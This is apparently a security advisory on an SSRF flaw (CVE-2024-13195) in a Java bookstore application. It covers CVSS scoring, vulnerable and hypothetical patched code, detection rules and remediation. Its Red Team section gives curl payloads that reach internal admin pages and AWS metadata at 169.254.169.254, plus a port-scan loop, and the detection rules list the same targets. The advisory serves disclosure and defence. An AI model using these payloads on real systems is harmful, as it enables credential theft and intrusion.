CVE-2024-13195

Executive Summary

CVE-2024-13195 is a critical Server-Side Request Forgery (SSRF) vulnerability in the donglight bookstore电商书城系统说明 version 1.0.0. The flaw resides in the getHtml function of src/main/java/org/zdd/bookstore/rawl/HttpUtil.java, where the url argument is not properly validated. An attacker can exploit this to make the server send crafted requests to internal or external systems, potentially leading to data exfiltration, internal network scanning, or further compromise. The vulnerability is remotely exploitable with no authentication required, and a public exploit has been disclosed. No patch is currently available.

Supply Chain & Package Security

This vulnerability is in a Java-based bookstore application. The application is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is primarily for organizations that have deployed this specific application from its source repository. Supply chain risk is limited to the direct use of this unpatched software.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the potential for full system compromise. The SSRF can be used to access internal services, read sensitive files (e.g., cloud metadata), or pivot to other systems.

Deep Dive & Mechanics

The vulnerability is in the getHtml method of HttpUtil.java. This method is designed to fetch HTML content from a given URL. The code likely uses HttpURLConnection or a similar HTTP client to make a request to the user-supplied URL without any validation or sanitization.

Root Cause: The application does not restrict the URL scheme (e.g., file://, gopher://, dict://) or the target IP address (e.g., loopback, private ranges). An attacker can provide a URL like http://127.0.0.1:8080/admin or file:///etc/passwd to make the server perform unintended actions.

Attack Flow:

1. Attacker identifies the vulnerable endpoint that calls getHtml with user-controlled input.
2. Attacker crafts a malicious URL pointing to an internal service (e.g., http://169.254.169.254/latest/meta-data/ for AWS cloud metadata).
3. The server processes the request, fetches the content, and returns it to the attacker.
4. Attacker exfiltrates sensitive data or uses the server as a proxy for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (HttpUtil.java):

public String getHtml(String url) {
    try {
        URL obj = new URL(url);
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();
        con.setRequestMethod("GET");
        BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer response = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            response.append(inputLine);
        }
        in.close();
        return response.toString();
    } catch (Exception e) {
        return "";
    }
}

Patched Code (Hypothetical):

public String getHtml(String url) {
    try {
        // Validate URL scheme
        if (!url.startsWith("http://") && !url.startsWith("https://")) {
            throw new IllegalArgumentException("Invalid URL scheme");
        }
        // Validate host (block private IPs)
        URL obj = new URL(url);
        InetAddress address = InetAddress.getByName(obj.getHost());
        if (address.isSiteLocalAddress() || address.isLoopbackAddress() || address.isLinkLocalAddress()) {
            throw new IllegalArgumentException("Access to private IPs is forbidden");
        }
        // Proceed with request
        HttpURLConnection con = (HttpURLConnection) obj.openConnection();
        con.setRequestMethod("GET");
        // ... rest of the code
    } catch (Exception e) {
        return "";
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running donglight bookstore 1.0.0
• Network access to the vulnerable endpoint

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /bookstore/fetch?url=).
2. Use a simple HTTP request to test SSRF:

   curl "http://target.com/bookstore/fetch?url=http://127.0.0.1:8080/admin"
   

3. For cloud metadata exfiltration (AWS):

   curl "http://target.com/bookstore/fetch?url=http://169.254.169.254/latest/meta-data/"
   

4. For internal port scanning:

   for port in 80 443 8080 3306; do
       curl -s "http://target.com/bookstore/fetch?url=http://192.168.1.1:$port" | grep -q "error" || echo "Port $port open"
   done
   

Lab Setup:

• Deploy the vulnerable application in a Docker container.
• Use a local HTTP server (e.g., python -m http.server 8080) to simulate internal services.
• Test SSRF by pointing to http://host.docker.internal:8080.

Blue Team

Detection:

• Monitor outbound HTTP requests from the application server to unexpected destinations (e.g., private IPs, cloud metadata IPs).
• Look for anomalous URL patterns in application logs (e.g., file://, gopher://).
• Use network segmentation to limit the impact of SSRF.

Hunting:

• Search for requests to 169.254.169.254, 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
• Check for multiple requests to different ports on the same internal IP (port scanning behavior).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound requests to 169.254.169.254 (cloud metadata)
  • Outbound requests to 127.0.0.1, 0.0.0.0, or other loopback addresses
  • Requests to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Use of unusual URL schemes (file://, gopher://, dict://)
• File IOCs:
  • Access to /etc/passwd, /etc/shadow, or other sensitive files via file:// scheme
• Log IOCs:
  • Application logs showing getHtml calls with suspicious URLs
  • Web server logs with url parameter containing internal IPs

Detection Engineering

YARA Rule

rule CVE_2024_13195_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against CVE-2024-13195"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13195"
    strings:
        $s1 = "getHtml" ascii wide nocase
        $s2 = "HttpUtil" ascii wide nocase
        $s3 = "url=" ascii wide nocase
        $s4 = "169.254.169.254" ascii wide nocase
        $s5 = "127.0.0.1" ascii wide nocase
        $s6 = "file://" ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-13195 SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against donglight bookstore
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'url=http://127.0.0.1'
            - 'url=http://169.254.169.254'
            - 'url=file://'
            - 'url=http://10.'
            - 'url=http://192.168.'
            - 'url=http://172.16.'
    condition: selection
falsepositives:
    - Legitimate use of internal URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13195 SSRF Exploitation Attempt"; flow:to_server; content:"url="; http_uri; pcre:"/url=http:\/\/(127\.0\.0\.1|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3})/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict access to it via firewall rules.
2. Implement input validation to block private IPs and dangerous URL schemes.
3. Apply network segmentation to limit the application server's outbound access.

Long-term Fix:

• The vendor (donglight) should release a patch that validates the url parameter against a whitelist of allowed domains or IPs.
• Use a URL validation library that blocks SSRF attacks (e.g., Validator.isValidUrl() with custom rules).
• Consider using a dedicated HTTP client that enforces allowlists.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing private IPs or file:// schemes.
• Monitor and alert on outbound connections from the application server.

Valters IT